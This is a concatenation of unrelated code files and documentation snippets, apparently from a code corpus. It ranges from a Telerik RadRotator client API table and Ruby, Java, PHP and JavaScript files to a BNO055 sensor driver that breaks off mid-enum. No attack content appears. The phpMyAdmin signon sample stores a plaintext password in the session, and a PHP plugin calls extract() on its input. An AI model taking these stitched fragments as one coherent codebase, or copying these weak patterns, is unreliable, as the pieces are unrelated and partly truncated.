@interface HAIThreatMapViewController : ROTableViewController <UITableViewDataSource, UITableViewDelegate>

@end


text:
title: Overview
page_title: Client-side Programming Overview | RadRotator for ASP.NET AJAX Documentation
description: Overview
slug: rotator/client-side-programming/overview
tags: overview
published: True
position: 0
---

# Client-side Programming Overview

**RadRotator for ASP.NET AJAX** offers a rich Client-Side API that allows you to control the look and the behavior of the control on the client with JavaScript.

| Method | Description |
| ------ | ------ |
| **add_buttonClick** |Sets a name of a JavaScript function to be called when rotator's button is clicked|
| **add_buttonOut** |Sets a name of a JavaScript function to be called when mouse's cursor hovers out of rotator's button|
| **add_buttonOver** |Sets a name of a JavaScript function to be called when mouse's cursor is over rotator's button|
| **add_itemClicked(function_name)** |Sets a name of a JavaScript function to be called after a item is clicked|
| **add_itemClicking(function_name)** |Sets a name of a JavaScript function to be called when an item is clicked|
| **add_itemShowing(function_name)** |Sets a reference to the JavaScript function to be called when an item is about to be shown.|
| **add_itemShown(function_name)** |Sets a reference to the JavaScript function to be called after an item has been shown.|
| **add_load** |Sets a name of a JavaScript function to be called when the rotator is loaded.|
| **add_mouseOut(function_name)** |Sets a reference to the JavaScript function to be called after the mouse leaves a item.|
| **add_mouseOver(function_name)** |Sets a reference to the JavaScript function to be called when the mouse hovers a item.|
| **addRotatorItem** |Creates and adds a new item to the RadRotator's client-side item collection. The item will not exist in the rotator's items collection on the serverThis method accepts two parameters: **radRotatorItemData** - an object that has a property named *Html* . The HTML markup of the new item should be specified in this property. If this parameter is not set, an empty item will be added in the RadRotator.; **index** - the position, in which the item will be added. If this parameter is not specified, the new item will be added at the last position.|
| **clearItems** |Clears all items in the RadRotator's client-side items collection. The items will not be removed in the rotator's items collection on the server|
| **dataBind** |Binds the data of the **RadRotator** |
| **get_appendClientDataBoundItems** |Gets whether data bound items will be appended to the Rotator|
| **get_clientDataSource** |Gets the RadClientDataSource that is associated with the Rotator|
| **get_clientDataSourceID** |Gets the ID of the RadClientDataSource that is associated with the Rotator|
| **get_clientTemplate** |Gets the client template of the Rotator|
| **get_currentItem** |Gets the current item.|
| **get_currentItemIndex** |Gets the index of the currently shown item.|
| **get_dataSource** |Gets the data source of the Rotator|
| **get_defaultAnimationDirection** |Returns the default animation direction.|
| **get_frameDuration** |Gets the time in milliseconds each frame will display in automatic scrolling scenarios.|
| **get_height** |Gets rotator's height|
| **get_initialItemIndex** |Gets rotator's initial item's index|
| **get_items** |Returns rotator's item collection.|
| **get_rotatorType** |Gets rotator's type|
| **get_scrollDuration** |Gets the speed in milliseconds for scrolling rotator items.|
| **get_width** |Gets rotator's width|
| **get_wrapFrames** |Returns true if RadRotator is set to start scrolling the rotator frames from the beginning, once the rotator shows the last frame.|
| **isAutomaticAdvance** |Returns a Boolean that indicates if the rotator is set in AutomaticAdvance mode.|
| **isScrollingForward** |Returns a Boolean that indicates if the rotator is scrolling forwards.|
| **isScrollingLeft** |Returns a Boolean that indicates if the rotator is scrolling to the left.|
| **isScrollingUp** |Returns a Boolean that indicates if the rotator is scrolling upward.|
| **isSlideShow** |Returns a Boolean that indicates if the rotator is set in SlideShow mode|
| **isVertical** |Returns a Boolean that indicates if the rotator is verticalr|
| **isViewportScrollMode** |Returns a Boolean that indicates if the rotator is scrolling item by item or it is scrolling the whole viewport|
| **isVisible** |Returns a Boolean that indicates if the rotator is visible.|
| **loadItemsFromWebService** |Manually requests new data for a RadRotator that uses [load-on-demand]({%slug rotator/functionality/load-on-demand%}).|
| **pause** |Pauses the animation|
| **remove_buttonClick** |Removes the reference|
| **remove_buttonOut** |Removes the reference|
| **remove_buttonOver** |Removes the reference|
| **remove_itemClicked(function_name)** |Removes the Javascript function identified by function_reference.|
| **remove_itemClicking(function_name)** |Removes the Javascript function identified by function_reference.|
| **remove_itemShowing(function_name)** |Removes the Javascript function identified by function_reference.|
| **remove_itemShown(function_name)** |Removes the Javascript function identified by function_reference.|
| **remove_load** |Removes the reference.|
| **remove_mouseOut(function_name)** |Removes the Javascript function identified by function_reference.|
| **remove_mouseOver(function_name)** |Removes the Javascript function identified by function_reference.|
| **removeRotatorItem** |Removes an item from the RadRotator's client-side items collection. The removed item will exist in the rotator's items collection on the serverThis method accepts one parameter: **index** - the position of the item that will be removed. If this parameter is not specified, the last item from the collection will be removed.|
| **repaint** |Redraw the rotator|
| **resume** |Resumes the paused animation|
| **set_appendClientDataBoundItems(value)** |Sets whether data bound items will be appended to the Rotator|
| **set_clientDataSourceID(id)** |Sets the ID of the RadClientDataSource that is associated with the Rotator|
| **set_clientTemplate(value)** |Sets the client template of the Rotator|
| **set_currentItemIndex** |Sets currently shown item by its index|
| **set_dataSource(data)** |Sets a custom data source for the RadRotator|
| **set_frameDuration** |Sets the time in milliseconds each frame will display in automatic scrolling scenarios.|
| **set_height** |Sets the RadRotator height in pixels.|
| **set_rotatorType** |Sets rotator's type|
| **set_scrollDuration** |Sets the speed in milliseconds for scrolling rotator items.|
| **set_width** |Sets the RadRotator width in pixels.|
| **set_wrapFrames** |Accepts true or false as an argument. When set to true, RadRotator will start scrolling the rotator frames from the beginning, once the last frame is shown.|
| **showNext** |scrolls the rotator in the specified direction and shows the next frame. The direction parameter must be of type **Telerik.Web.UI.RotatorScrollDirection** , e.g. **rotator1.showNext(Telerik.Web.UI.RotatorScrollDirection.Right);** |
| **start** |Starts the animation|
| **stop** |Stops the animation|
| **stopViewportAnimation** |If an item is partially shown and the rotator is paused, calling this function will force the rotator to fully display the item.|

**RadTicker for ASP.NET AJAX** methods:

| Method | Description |
| ------ | ------ |
| **get_autoAdvance** |Gets whether **RadTicker** will begin ticking the next tickerline (if any) after it has finished ticking the current one. Returns true or false.|
| **get_lineDuration** |Gets time in milliseconds the of pause **RadTicker** makes before starting to tick the next line (if **AutoAdvance=True** ).|
| **get_loop** |Gets whether **RadTicker** will repeat the first tickerline after displaying the last one. Returns true or false.|
| **get_tickSpeed** |Gets the duration in milliseconds between ticking each character of a tickerline.|
| **set_autoAdvance** |Sets whether **RadTicker** will begin ticking the next tickerline (if any) after it has finished ticking the current one. Accepts true or false.|
| **set_lineDuration** |Sets time in milliseconds the of pause **RadTicker** makes before starting to tick the next line (if **AutoAdvance=True** ).|
| **set_loop** |Sets whether **RadTicker** will repeat the first tickerline after displaying the last one. Accepts true or false.|
| **set_tickSpeed** |Sets the duration in milliseconds between ticking each character of a tickerline.|
| **startTicker** |Starts the ticker|
| **stopTicker** |Stops the ticker|
| **tickNextLine** |forces the ticker to tick to the next line|

>note The main idea of the methods **pause** , **resume** , **start** , **stop** is to be used in combination. Their functionality can be compared to that of a player - when stopped, the animation will be reset on a new start and when paused, the animation will continue from the same moment if rotation is resumed.
>These methods are designed to be used with a RadRotator control that includes automatic advance. This means the following modes: **AutomaticAdvance** , **Carousel** , **CoverFlow** , **SlideShow** .
>


text:
namespace System.Data
{
    internal interface IFilter
    {
        bool Invoke(DataRow row, DataRowVersion version);
    }
}


text:
require 'spec_helper'
require "shared_examples/dice_expression"

RSpec.describe FifthedSim::GreaterNode do
  context "with a critfail d2 and a crit d2" do
    let(:node) do
      described_class.new(FifthedSim.make_roll(2, 2),
                          FifthedSim.make_roll(1, 2))
    end
    subject { node }
    it_behaves_like "dice expression"

    it { is_expected.to have_attributes(value: 2, min: 1, max: 2) }

    describe "distribution" do
      subject { node.distribution }
      it "has a 25% chance of being 1" do
        expect(subject.percent_exactly(1)).to be_within(0.001).of(0.25)
      end

      it "has a 75% chance of being a 2" do
        expect(subject.percent_exactly(2)).to be_within(0.001).of(0.75)
      end
    end
  end

  context "between 1d20 and 1d20 + 10" do
    let(:node) { 1.d(20).or_greater((1.d(20) + 10)) }
    subject { node }
    it { is_expected.to have_attributes(min: 11, max: 30) }

    describe ".distribution" do
      subject { node.distribution }
      it "has a 0% chance of being 1" do
        expect(subject.percent_exactly(1)).to eq(0.0)
      end
    end
  end
end


text:
module ActiveRecord # :nodoc:
  module ConnectionAdapters # :nodoc:
    class PostgreSQLAdapter # :nodoc:

    end
  end
end


text:
<?php

namespace Magento\Downloadable\Test\Handler\DownloadableProduct;

use Magento\Mtf\Handler\HandlerInterface;

/**
 * Interface DownloadableProductInterface
 */
interface DownloadableProductInterface extends HandlerInterface
{
    //
}


text:
package org.apache.wicket;

import org.apache.wicket.session.pagemap.IPageMapEntry;

/**
 * FIXME IPageMap javadoc
 *
 * @author eelcohillenius
 * @author Johan Compagner
 */
public interface IPageMap extends IClusterable
{
	/**
	 * @param id
	 *            The page id to create an attribute for
	 * @return The session attribute for the given page (for replication of state)
	 */
	String attributeForId(final int id);

	/**
	 * Removes all pages from this map
	 */
	void clear();

	/**
	 * Redirects to any intercept page previously specified by a call to redirectToInterceptPage.
	 *
	 * @return True if an original destination was redirected to
	 * @see Component#redirectToInterceptPage(Page)
	 */
	boolean continueToOriginalDestination();

	/**
	 * Retrieves page with given id.
	 *
	 * @param id
	 *            The page identifier
	 * @param versionNumber
	 *            The version to get
	 * @return Any page having the given id
	 */
	Page get(final int id, int versionNumber);

	/**
	 * Retrieves entry with given id.
	 *
	 * @param id
	 *            The page identifier
	 * @return Any entry having the given id
	 */
	IPageMapEntry getEntry(final int id);

	/**
	 * @return Returns the name.
	 */
	String getName();

	/**
	 * @return Size of this page map in bytes, including a sum of the sizes of all the pages it
	 *         contains.
	 */
	long getSizeInBytes();

	/**
	 * @return True if this is the default page map
	 */
	boolean isDefault();

	/**
	 * @return The next id for this pagemap
	 */
	int nextId();

	/**
	 * @param page
	 *            The page to put into this map
	 */
	void put(final Page page);

	/**
	 * Redirects browser to an intermediate page such as a sign-in page. The current request's URL
	 * is saved exactly as it was requested for future use by continueToOriginalDestination(); Only
	 * use this method when you plan to continue to the current URL at some later time; otherwise
	 * just use setResponsePage or, when you are in a constructor, redirectTo.
	 *
	 * @param <T>
	 *
	 * @param pageClazz
	 *            The page clazz to temporarily redirect to
	 */
	<T extends Page> void redirectToInterceptPage(final Class<T> pageClazz);

	/**
	 * Redirects browser to an intermediate page such as a sign-in page. The current request's url
	 * is saved for future use by method continueToOriginalDestination(); Only use this method when
	 * you plan to continue to the current url at some later time; otherwise just use
	 * setResponsePage or - when you are in a constructor or checkAccessMethod, call redirectTo.
	 *
	 * @param page
	 *            The sign in page
	 *
	 * @see Component#continueToOriginalDestination()
	 */
	void redirectToInterceptPage(final Page page);

	/**
	 * Removes this PageMap from the Session.
	 */
	void remove();

	/**
	 * Removes the page from the pagemap
	 *
	 * @param page
	 *            page to be removed from the pagemap
	 */
	void remove(final Page page);

	/**
	 * @param entry
	 *            The entry to remove
	 */
	void removeEntry(final IPageMapEntry entry);

	/**
	 * Returns true if the PageMap contains page with given id and versonNumber
	 *
	 * @param id
	 * @param versionNumber
	 * @return true if the {@link PageMap} contains a page with the given id and versionNumber
	 */
	public boolean containsPage(int id, int versionNumber);
}


text:
Unity like 2D Game Engine - C++ , C# , Lua , .Net , WinForms

You can add game screens(like Start Screen , Game Screen)
You can drag and drop sprite and texts.

You can set up the sprite's animations , position and so on .

With lua as scripting language you can script the behaviour of the screen the way you like it ( move,rotate sprites and texts,
set current animations and play them)

You can add library sprites and preset their animations and textures and then use them dinamically in the scripts.


text:
[![npm version](https://badge.fury.io/js/ember-validated-form.svg)](https://badge.fury.io/js/ember-validated-form)
[![Ember Observer Score](https://emberobserver.com/badges/ember-validated-form.svg)](https://emberobserver.com/addons/ember-validated-form)
[![Test](https://github.com/adfinis-sygroup/ember-validated-form/workflows/Test/badge.svg)](https://github.com/adfinis-sygroup/ember-validated-form/actions?query=workflow%3ATest)
[![Code Style: Prettier](https://img.shields.io/badge/code_style-prettier-ff69b4.svg)](https://github.com/prettier/prettier)

Easily create forms with client side validations.

![gif](https://raw.githubusercontent.com/adfinis-sygroup/ember-validated-form/main/demo.gif)

Want to try it yourself? [View the docs here.](https://docs.adfinis.com/ember-validated-form/)

# Contributing

Bug reports, suggestions and pull requests are always welcome!

See the [Contributing](CONTRIBUTING.md) guide for details.

### License

This project is licensed under the [MIT License](LICENSE.md).


text:
let app = {
    initialize: function() {
        deviceWaiting.bindEvents()
        deviceFunctions.showButton()
    },
}
const isConnected=false

    app.initialize()


text:
package game.controller;

import util.Sound;
import game.controller.state.AbstractState;
import game.controller.state.mainmenu.MainMenuState;
import game.controller.state.option.AbstractOptionState;
import game.model.GameModel;
import game.view.GameView;

public class MainMenuMode extends AbstractMode{

    private AbstractState myState;

    public MainMenuMode (GameModel model, GameView view) {
        super(model, view);
        myState = new MainMenuState(this);
        mySound = new Sound("music/nfl.wav", getController());
    }

    @Override
    public void paint () {
        myState.paint();
    }

    @Override
    public void act () {
        myState.act(getInput());
    }

    @Override
    public void turnOn () {
        super.turnOn();
    }

    @Override
    public void turnOff () {
        super.turnOff();
    }

    public void setState(AbstractState state){
        myState = state;
    }

}


text:
import { connect } from 'react-redux'
import ConfigForm from './ConfigForm'
import { setConfig } from 'actions/config'

const mapStateToProps = (state) => ({
  configValues: state.config
})

const mapDispatchToProps = (dispatch) => ({
  onValueChange: (event) => {
    const payload = {
      key: event.target.name,
      value: event.target.value
    }
    dispatch(setConfig(payload))
  }
})

const ConfigFormContainer = connect(mapStateToProps, mapDispatchToProps)(ConfigForm)
export default ConfigFormContainer


text:
"use strict";

const stylecow = require('../../index');

/**
 * Class with common methods for nodes that behaves like collections
 */
class NodeCollection extends mix(require('./collection'), require('./node')) {

    constructor(data, type) {
        super();

        this.type = type;
        this.data = data || {};
    }

    clone (data) {
        const clone = super.clone(data);

        for (let i = 0, t = this.length; i < t; ++i) {
            clone.push(this[i].clone(data));
        };

        return clone;
    }

    empty () {
        this.splice(0);

        return this;
    }

    isEmpty () {
        for (let i = 0, t = this.length; i < t; i++) {
            if (!this[i].isEmpty()) {
                return false;
            }
        }

        return true;
    }

    push (child) {
        if (child.hasParent()) {
            child.detach();
        }

        child.setParent(this);

        return Array.prototype.push.call(this, child);
    }

    pushCode (code, className) {
        this.push(stylecow.parse(code, className, this));
    }

    unshift (child) {
        if (child.hasParent()) {
            child.detach();
        }

        child.setParent(this);

        return Array.prototype.unshift.call(this, child);
    }

    unshiftCode (code, className) {
        this.unshift(stylecow.parse(code, className, this));
    }

    splice (start, deleteCount, child) {
        if (!child) {
            return Array.prototype.splice.call(this, start, deleteCount);
        }

        if (child.hasParent()) {
            child.detach();
        }

        child.setParent(this);

        return Array.prototype.splice.call(this, start, deleteCount, child);
    }

    remove () {
        this.detach();

        for (let i = 0, t = this.length; i < t; ++i) {
            this[i].setParent(null);
            this[i].remove();
        };

        this.splice(0);

        return this;
    }
}

function mix(Class1, Class2) {
    class Mixed extends Class1 {}

    Object.getOwnPropertyNames(Class2.prototype).forEach(function (prop) {
        Mixed.prototype[prop] = Class2.prototype[prop];
    });

    return Mixed;
};

module.exports = NodeCollection;


text:
require "defaultinator/version"

class Module
  # todo: figure out how to mix this in as a module slightly nicer
  alias_method :__original_attr_accessor, :attr_accessor
  def attr_accessor *args
    return send(:__original_attr_accessor, *args) unless args.last.is_a?(Hash)
    *method_names, method_options = args
    attr_reader(*method_names, method_options)
    attr_writer(*method_names)
  end

  alias_method :__original_attr_reader, :attr_reader
  def attr_reader *args
    # Hand-off if no options for us to be clever with
    return send(:__original_attr_reader, *args) unless args.last.is_a?(Hash)

    *method_names, method_options = args

    # Hand-off if no defaults or if the default is nil, because that's the ruby runtime default too.
    return send(:__original_attr_reader, *method_names) unless method_options.has_key?(:default) && method_options[:default] != nil

    method_names.uniq.each do |name|
      instance_name = "@#{name}".to_sym
      # @foo ||= {}
      define_method(name) do
        instance_variable_defined?(instance_name) && instance_variable_get(instance_name) || instance_variable_set(instance_name, method_options[:default])
      end
    end
  end
end


text:
<?php

/*
 * Template Lite plugin
 * -------------------------------------------------------------
 * Type:     block function
 * Name:     textformat
 * Purpose:  format text a certain way with preset styles
 *           or custom wrap/indent settings
 * Params:   style: string (email)
 *           indent: integer (0)
 *           wrap: integer (80)
 *           wrap_char string ("\n")
 *           indent_char: string (" ")
 *           wrap_boundary: boolean (true)
 * Taken from the original Smarty
 * http://smarty.php.net
 * -------------------------------------------------------------
 */
function tpl_block_textformat($params, $content, &$template_object)
{
	$style = null;
	$indent = 0;
	$indent_first = 0;
	$indent_char = ' ';
	$wrap = 80;
	$wrap_char = "\n";
	$wrap_cut = false;
	$assign = null;

	if($content == null)
	{
		return true;
	}

    extract($params);

	if($style == 'email')
	{
		$wrap = 72;
	}
	// split into paragraphs
	$paragraphs = preg_split('![\r\n][\r\n]!',$content);

	foreach($paragraphs as $paragraph)
	{
		if($paragraph == '')
		{
			continue;
		}
		// convert mult. spaces & special chars to single space
		$paragraph = preg_replace(array('!\s+!','!(^\s+)|(\s+$)!'),array(' ',''),$paragraph);
		// indent first line
		if($indent_first > 0)
		{
			$paragraph = str_repeat($indent_char,$indent_first) . $paragraph;
		}
		// wordwrap sentences
		$paragraph = wordwrap($paragraph, $wrap - $indent, $wrap_char, $wrap_cut);
		// indent lines
		if($indent > 0)
		{
			$paragraph = preg_replace('!^!m',str_repeat($indent_char,$indent),$paragraph);
		}
		$output .= $paragraph . $wrap_char . $wrap_char;
	}
	if($assign != null)
	{
		$template_object->assign($assign,$output);
	}
	else
	{
		echo $output;
	}
	//echo $content;
}

?>


text:
// FunctionAccessJavaDlg.cpp : implementation file
//

#include "stdafx.h"
#include "Impact.h"
#include "FunctionAccessJavaDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CFunctionAccessJavaDlg dialog

CFunctionAccessJavaDlg::CFunctionAccessJavaDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CFunctionAccessJavaDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CFunctionAccessJavaDlg)
	m_bStatic = FALSE;
	m_bAbstract = FALSE;
	m_bNative = FALSE;
	m_bFinal = FALSE;
	//}}AFX_DATA_INIT
	m_tmpAccess = -1;
}

void CFunctionAccessJavaDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CFunctionAccessJavaDlg)
	DDX_Check(pDX, IDC_ABSTRACT, m_bAbstract);
	DDX_Check(pDX, IDC_FINAL, m_bFinal);
	DDX_Check(pDX, IDC_STATIC2, m_bStatic);
	DDX_Check(pDX, IDC_NATIVE, m_bNative);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CFunctionAccessJavaDlg, CDialog)
	//{{AFX_MSG_MAP(CFunctionAccessJavaDlg)
	ON_BN_CLICKED(IDC_PRIVATE, OnPrivate)
	ON_BN_CLICKED(IDC_PROTECTED, OnProtected)
	ON_BN_CLICKED(IDC_PACKAGE, OnPackage)
	ON_BN_CLICKED(IDC_PUBLIC, OnPublic)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CFunctionAccessJavaDlg message handlers

void CFunctionAccessJavaDlg::OnPrivate()
{
	m_nPermission = PRIVATE;
}

void CFunctionAccessJavaDlg::OnProtected()
{
	m_nPermission = PROTECTED;
}

void CFunctionAccessJavaDlg::OnPublic()
{
	m_nPermission = PUBLIC;
}

void CFunctionAccessJavaDlg::OnPackage()
{
	m_nPermission = PACKAGE;
}

bool CFunctionAccessJavaDlg::IsFinal()
{
	return m_bFinal;
}

bool CFunctionAccessJavaDlg::IsAbstract()
{
	return m_bAbstract;
}

bool CFunctionAccessJavaDlg::IsNative()
{
	return m_bNative;
}

bool CFunctionAccessJavaDlg::IsStatic()
{
	return m_bStatic;
}

void CFunctionAccessJavaDlg::SetAccess(int nScope)
{
	m_tmpAccess = nScope;
}

void CFunctionAccessJavaDlg::SetFinal(bool state)
{
	m_bFinal = state;
}

void CFunctionAccessJavaDlg::SetAbstract(bool state)
{
	m_bAbstract = state;
}

void CFunctionAccessJavaDlg::SetNative(bool state)
{
	m_bNative = state;
}

void CFunctionAccessJavaDlg::SetStatic(bool state)
{
	m_bStatic = state;
}

BOOL CFunctionAccessJavaDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// set the radio buttons for public/protected/private
	if(m_tmpAccess!=-1) {
		int nId = -1;
		m_nPermission = m_tmpAccess;
		if(m_nPermission == PUBLIC) nId = IDC_PUBLIC;
		else if(m_nPermission == PRIVATE) nId = IDC_PRIVATE;
		else if(m_nPermission == PACKAGE) nId = IDC_PACKAGE;
		else if(m_nPermission == PROTECTED) nId = IDC_PROTECTED;

		if(nId!=-1) {
			CButton* pButton = (CButton*)GetDlgItem(nId);
			if(pButton!=NULL) pButton->SetCheck(1);
		}
	}
	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX Property Pages should return FALSE
}


text:
<?php
/* $Id: signon.php 9366 2006-08-27 11:46:12Z lem9 $ */
// vim: expandtab sw=4 ts=4 sts=4:

// Single signon for phpMyAdmin
//
// This is just example how to use single signon with phpMyAdmin, it is
// not intended to be perfect code and look, only shows how you can
// integrate this functionality in your application.

/* Was data posted? */
if (isset($_POST['user'])) {
    /* Need to have cookie visible from parent directory */
    session_set_cookie_params(0, '/', '', 0);
    /* Create signon session */
    $session_name = 'SignonSession';
    session_name($session_name);
    session_start();
    /* Store there credentials */
    $_SESSION['PMA_single_signon_user'] = $_POST['user'];
    $_SESSION['PMA_single_signon_password'] = $_POST['password'];
    $id = session_id();
    /* Close that session */
    session_write_close();
    /* Redirect to phpMyAdmin (should use absolute URL here!) */
    header('Location: ../index.php');
} else {
    /* Show simple form */
    header('Content-Type: text/html; charset=utf-8');
    echo '<?xml version="1.0" encoding="utf-8"?>' . "\n";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <link rel="icon" href="../favicon.ico" type="image/x-icon" />
    <link rel="shortcut icon" href="../favicon.ico" type="image/x-icon" />
    <title>phpMyAdmin single signon example</title>

<form action="signon.php" method="post">
Username: <input type="text" name="user" />

Password: <input type="password" name="password" />

<input type="submit" />
</form>

<?php
}
?>


text:
#pragma once
#include <common.h>

/** Millisecond delay */
void delay_ms(uint32_t ms);

/** Second delay */
void delay_s(uint32_t s);

/** Schedule a periodic task (like a cron job). Returns success. */
bool register_periodic_task(void (*callback) (void), uint32_t interval_ms);

/** Schedule a future one-off task. Returns success. */
bool schedule_task(void (*callback)(void), uint32_t delay_ms);


text:
touch datafile || exit
touch log || exit
docker-compose up --build


text:
package org.usfirst.frc.team4915.stronghold.utils;

import java.util.TimerTask;

import edu.wpi.first.wpilibj.I2C;
import edu.wpi.first.wpilibj.Timer;

/**
 * BNO055 IMU for the FIRST Robotics Competition. References throughout the code
 * are to the following sensor documentation: http://git.io/vuOl1
 *
 * To use the sensor, wire up to it over I2C on the roboRIO. Creating an
 * instance of this class will cause communications with the sensor to being.All
 * communications with the sensor occur in a separate thread from your robot
 * code to avoid blocking the main robot program execution.
 *
 * Example: private static BNO055 imu;
 *
 * public Robot() { imu =
 * BNO055.getInstance(BNO055.opmode_t.OPERATION_MODE_IMUPLUS,
 * BNO055.vector_type_t.VECTOR_EULER); }
 *
 * You can check the status of the sensor by using the following methods:
 * isSensorPresent(); //Checks if the code can talk to the sensor over I2C // If
 * this returns false, check your wiring. isInitialized(); //Checks if the
 * sensor initialization has completed. // Initialization takes about 3 seconds.
 * You won't get // position data back from the sensor until its init'd.
 * isCalibrated(); //The BNO055 will return position data after its init'd, //
 * but the position data may be inaccurate until all // required sensors report
 * they are calibrated. Some // Calibration sequences require you to move the
 * BNO055 // around. See the method comments for more info.
 *
 * Once the sensor calibration is complete , you can get position data by by
 * using the getAccel() method. See this method definiton for usage info.
 *
 * This code was originally ported from arduino source developed by Adafruit.
 * See the original comment header below.
 *
 * @author james@team2168.org
 *
 *
 *         ORIGINAL ADAFRUIT HEADER -
 *         https://github.com/adafruit/Adafruit_BNO055/
 *         =====================================================================
 *         == This is a library for the BNO055 orientation sensor
 *
 *         Designed specifically to work with the Adafruit BNO055 Breakout.
 *
 *         Pick one up today in the adafruit shop! ------>
 *         http://www.adafruit.com/products
 *
 *         These sensors use I2C to communicate, 2 pins are required to
 *         interface.
 *
 *         Adafruit invests time and resources providing this open source code,
 *         please support Adafruit and open-source hardware by purchasing
 *         products from Adafruit!
 *
 *         Written by KTOWN for Adafruit Industries.
 *
 *         MIT license, all text above must be included in any redistribution
 *
 */
public class BNO055 {

    // Tread variables
    private java.util.Timer executor;
    private static final long THREAD_PERIOD = 20; // ms - max poll rate on
                                                  // sensor.

    public static final byte BNO055_ADDRESS_A = 0x28;
    public static final byte BNO055_ADDRESS_B = 0x29;
    public static final int BNO055_ID = 0xA0;

    private static BNO055 instance;

    private static I2C imu;
    private static int _mode;
    private static opmode_t requestedMode; // user requested mode of operation.

    // State machine variables
    private volatile int state = 0;
    private volatile boolean sensorPresent = false;
    private volatile boolean initialized = false;
    private volatile double currentTime; // seconds
    private volatile double nextTime; // seconds
    private volatile byte[] accelVector = new byte[6];
    private volatile double[] m_accel = new double[3];
    private volatile double[] m_velocity = new double[3];
    private volatile double[] m_position = new double[3];
    private volatile double m_distFromOrigin = 0;

    private volatile byte[] headingVector = new byte[6];
    private volatile double[] m_heading = new double[3];
    private volatile double[] m_initialHeading = new double[3];

/*    private volatile byte[] calDataStore = new byte[22];
 *    public String calDataStoreString = "fill me with gibberish";
 */

    public class SystemStatus {

        public int system_status;
        public int self_test_result;
        public int system_error;
    }

    public enum reg_t {
        /* Page id register definition */
        BNO055_PAGE_ID_ADDR(0X07),

        /* PAGE0 REGISTER DEFINITION START */
        BNO055_CHIP_ID_ADDR(0x00),
        BNO055_ACCEL_REV_ID_ADDR(0x01),
        BNO055_MAG_REV_ID_ADDR(0x02),
        BNO055_GYRO_REV_ID_ADDR(0x03),
        BNO055_SW_REV_ID_LSB_ADDR(0x04),
        BNO055_SW_REV_ID_MSB_ADDR(0x05),
        BNO055_BL_REV_ID_ADDR(0X06),

        /* Accel data register */
        BNO055_ACCEL_DATA_X_LSB_ADDR(0X08),
        BNO055_ACCEL_DATA_X_MSB_ADDR(0X09),
        BNO055_ACCEL_DATA_Y_LSB_ADDR(0X0A),
        BNO055_ACCEL_DATA_Y_MSB_ADDR(0X0B),
        BNO055_ACCEL_DATA_Z_LSB_ADDR(0X0C),
        BNO055_ACCEL_DATA_Z_MSB_ADDR(0X0D),

        /* Mag data register */
        BNO055_MAG_DATA_X_LSB_ADDR(0X0E),
        BNO055_MAG_DATA_X_MSB_ADDR(0X0F),
        BNO055_MAG_DATA_Y_LSB_ADDR(0X10),
        BNO055_MAG_DATA_Y_MSB_ADDR(0X11),
        BNO055_MAG_DATA_Z_LSB_ADDR(0X12),
        BNO055_MAG_DATA_Z_MSB_ADDR(0X13),

        /* Gyro data registers */
        BNO055_GYRO_DATA_X_LSB_ADDR(0X14),
        BNO055_GYRO_DATA_X_MSB_ADDR(0X15),
        BNO055_GYRO_DATA_Y_LSB_ADDR(0X16),
        BNO055_GYRO_DATA_Y_MSB_ADDR(0X17),
        BNO055_GYRO_DATA_Z_LSB_ADDR(0X18),
        BNO055_GYRO_DATA_Z_MSB_ADDR(0X19),

        /* Euler data registers */
        BNO055_EULER_H_LSB_ADDR(0X1A),
        BNO055_EULER_H_MSB_ADDR(0X1B),
        BNO055_EULER_R_LSB_ADDR(0X1C),
        BNO055_EULER_R_MSB_ADDR(0X1D),
        BNO055_EULER_P_LSB_ADDR(0X1E),
        BNO055_EULER_P_MSB_ADDR(0X1F),

        /* Quaternion data registers */
        BNO055_QUATERNION_DATA_W_LSB_ADDR(0X20),
        BNO055_QUATERNION_DATA_W_MSB_ADDR(0X21),
        BNO055_QUATERNION_DATA_X_LSB_ADDR(0X22),
        BNO055_QUATERNION_DATA_X_MSB_ADDR(0X23),
        BNO055_QUATERNION_DATA_Y_LSB_ADDR(0X24),
        BNO055_QUATERNION_DATA_Y_MSB_ADDR(0X25),
        BNO055_QUATERNION_DATA_Z_LSB_ADDR(0X26),
        BNO055_QUATERNION_DATA_Z_MSB_ADDR(0X27),

        /* Linear acceleration data registers */
        BNO055_LINEAR_ACCEL_DATA_X_LSB_ADDR(0X28),
        BNO055_LINEAR_ACCEL_DATA_X_MSB_ADDR(0X29),
        BNO055_LINEAR_ACCEL_DATA_Y_LSB_ADDR(0X2A),
        BNO055_LINEAR_ACCEL_DATA_Y_MSB_ADDR(0X2B),
        BNO055_LINEAR_ACCEL_DATA_Z_LSB_ADDR(0X2C),
        BNO055_LINEAR_ACCEL_DATA_Z_MSB_ADDR(0X2D),

        /* Gravity data registers */
        BNO055_GRAVITY_DATA_X_LSB_ADDR(0X2E),
        BNO055_GRAVITY_DATA_X_MSB_ADDR(0X2F),
        BNO055_GRAVITY_DATA_Y_LSB_ADDR(0X30),
        BNO055_GRAVITY_DATA_Y_MSB_ADDR(0X31),
        BNO055_GRAVITY_DATA_Z_LSB_ADDR(0X32),
        BNO055_GRAVITY_DATA_Z_MSB_ADDR(0X33),

        /* Temperature data register */
        BNO055_TEMP_ADDR(0X34),

        /* Status registers */
        BNO055_CALIB_STAT_ADDR(0X35),
        BNO055_SELFTEST_RESULT_ADDR(0X36),
        BNO055_INTR_STAT_ADDR(0X37),

        BNO055_SYS_CLK_STAT_ADDR(0X38),
        BNO055_SYS_STAT_ADDR(0X39),
        BNO055_SYS_ERR_ADDR(0X3A),

        /* Unit selection register */
        BNO055_UNIT_SEL_ADDR(0X3B),
        BNO055_DATA_SELECT_ADDR(0X3C),

        /* Mode registers */
        BNO055_OPR_MODE_ADDR(0X3D),
        BNO055_PWR_MODE_ADDR(0X3E),

        BNO055_SYS_TRIGGER_ADDR(0X3F),
